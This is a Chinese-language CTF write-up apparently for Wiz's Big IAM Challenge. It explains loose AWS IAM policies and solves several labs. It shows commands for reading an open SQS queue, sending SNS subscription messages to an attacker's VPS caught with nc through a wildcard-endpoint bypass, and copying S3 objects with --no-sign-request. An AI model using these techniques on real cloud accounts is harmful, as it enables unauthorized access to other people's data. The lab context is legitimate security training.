AWS上的服务:
s3
对象存储服务
- 用途:存储文件(如文档、图片、视频等),类似于云硬盘。
- 典型操作:
aws s3 ls
(列出存储桶)aws s3 cp
(上传/下载文件)aws s3 rm
(删除文件)
- 权限策略示例:
1 |
|
sqs
队列查询服务
用途:用于应用程序之间的异步消息传递(如任务队列、事件通知)。
典型操作:
aws sqs send-message
(发送消息)aws sqs receive-message
(接收消息)aws sqs delete-message
(删除消息)
1 |
|
SNS
启动的服务与功能
服务:Amazon SNS(Simple Notification Service),用于发布/订阅消息(如邮件、短信、HTTP通知等)。
作用:
允许任何 AWS 账户(
Principal: "*"
)订阅指定的 SNS 主题(TBICWizPushNotifications
)。但仅限端点(Endpoint)为
*@tbic.wiz.io
的订阅请求(例如邮件地址user@tbic.wiz.io
)。
该策略存在如下风险:
- 全局访问权限:该策略中指定了允许任何AWS用户(”*”)执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。
- 通配符条件:该策略中的条件指定订阅者的Endpoint必须以”*@tbic.wiz.io”结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。
- 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。
The big IAM CTF
网址:https://bigiamchallenge.com
该网址会自动帮助我们连接上AWS
lab-2
1 |
|
可以看到属于sqs服务
1、该策略将操作权限授予了所有用户(”*”),意味着任何具有该策略的用户或角色都可以发送和接收消息。
2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。
因此,我们 aws sqs receive-message --queue-url https://us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
得到
1 |
|
打开这个文件拿到flag
{wiz:you-are-at-the-front-of-the-queue}
lab-3
如下:
1 |
|
注意和上一题有不一样,关键在于出现了一个SNS服务,丢给deepseek看一下
启动的服务与功能
- 服务:Amazon SNS(Simple Notification Service),用于发布/订阅消息(如邮件、短信、HTTP通知等)。
- 作用:
- 允许任何 AWS 账户(
Principal: "*"
)订阅指定的 SNS 主题(TBICWizPushNotifications
)。 - 但仅限端点(Endpoint)为
*@tbic.wiz.io
的订阅请求(例如邮件地址user@tbic.wiz.io
)
- 允许任何 AWS 账户(
那么
1 |
|
回显
1 |
|
此时,等待你去点击确定连接
应该怎么做呢
我们可以控制admin@tbic.wiz.io改为http://12121221212121@tbic.wiz.io
发送到我们的vps上
使用http协议进行代理监听的方式获取订阅消息
注意将protocol改为http(注意改http之后中间用/连接)
nc监听得到
Connection received on 15.221.160.24 36215
POST /@tbic.wiz.io HTTP/1.1
x-amz-sns-message-type: SubscriptionConfirmation
x-amz-sns-message-id: 6be54276-2da7-40fb-8258-ca44518450f5
x-amz-sns-topic-arn: arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications
Content-Type: text/plain; charset=UTF-8
Content-Length: 1623
Connection: Keep-Alive
User-Agent: Amazon Simple Notification Service Agent
Accept-Encoding: gzip,deflate
{
“Type” : “SubscriptionConfirmation”,
“MessageId” : “6be54276-2da7-40fb-8258-ca44518450f5”,
“Token” : “2336412f37fb687f5d51e6e2425a8a5875c3b63688278ec557940a84d4fc6d0f6065a4feb7686396be5ca68ed76ee5399e6b1b33c58930f52d554696d9d9dd86b6faec7585e3bf4780951800dd877c50cc7c79f5c4dd73eb10b453386aa22b5518c2b700fa5983eada750411ae29f2b2bd74cfad1685f29ec6e62489cd7ebf03”,
“TopicArn” : “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”,
“Message” : “You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.\nTo confirm the subscription, visit the SubscribeURL included in this message.”,
“SubscribeURL” : “https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications&Token=2336412f37fb687f5d51e6e2425a8a5875c3b63688278ec557940a84d4fc6d0f6065a4feb7686396be5ca68ed76ee5399e6b1b33c58930f52d554696d9d9dd86b6faec7585e3bf4780951800dd877c50cc7c79f5c4dd73eb10b453386aa22b5518c2b700fa5983eada750411ae29f2b2bd74cfad1685f29ec6e62489cd7ebf03“,
“Timestamp” : “2025-05-31T07:56:42.369Z”,
“SignatureVersion” : “1”,
“Signature” : “NH5QtaED5M+6wrUQTjq5F58GEWIZ8u+mW4smtnnsNs7tRa4lFrqv53dY16EmfxHz2BhEY2TO46tWVWT+HLCzaq+8Clzb98sjUQNiH9VbYno6iUwp9QcO/klI0aupj04mpbQ5JTKVgsE/b9oqhCwYiobhYuWp2vGarwSIbcJINZi4gaKQ+6r38Z57vFGGEKrE7rZSUETZzzyZcuIVjItZjqoJvCKTCU2XGzikEx88ZEtgoL02tnIvA7IC/TiqnVsTlS0MRpbcvzEMCZT9HYo8+3dwNUj+zktZiUmgkdM6B8NJr7lJ7whg/a3M24ujZ3ohoJp3GVngQC8uTHinuhodJA==”,
“SigningCertURL” : “https://sns.us-east-1.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem“
}
点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息
中间的过程磕磕绊绊,应该是要在vpscurl到证明Url,然后再尝试一次就可以拿到flag了
拿到{wiz:always-suspect-asterisks}
lab-4
1 |
|
这个是s3,丢给deepseek进行分析
即任何用户都可以查看存储桶内的所有文件
但是只有admin用户才可以列出该存储目录files/下的文件
通过–no-sign-request可以跳过iam的身份验证
然后直接ls下/files/下的所有文件
然后再aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/1.txt
然后直接cat /tmp/1.txt即可拿到了
同样还有一种方式通过fuzz测试,比如,我们getobjext只能cp某个文件出来,不能拿到整个桶的资源(权限不够)因此可以尝试爆破
最后也是得到flag
{wiz:principal-arn-is-not-what-you-think}
lab-5
1 |
|
如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容.
该题稍微难一点,因此全程以复现为准
拼尽全力,无法战胜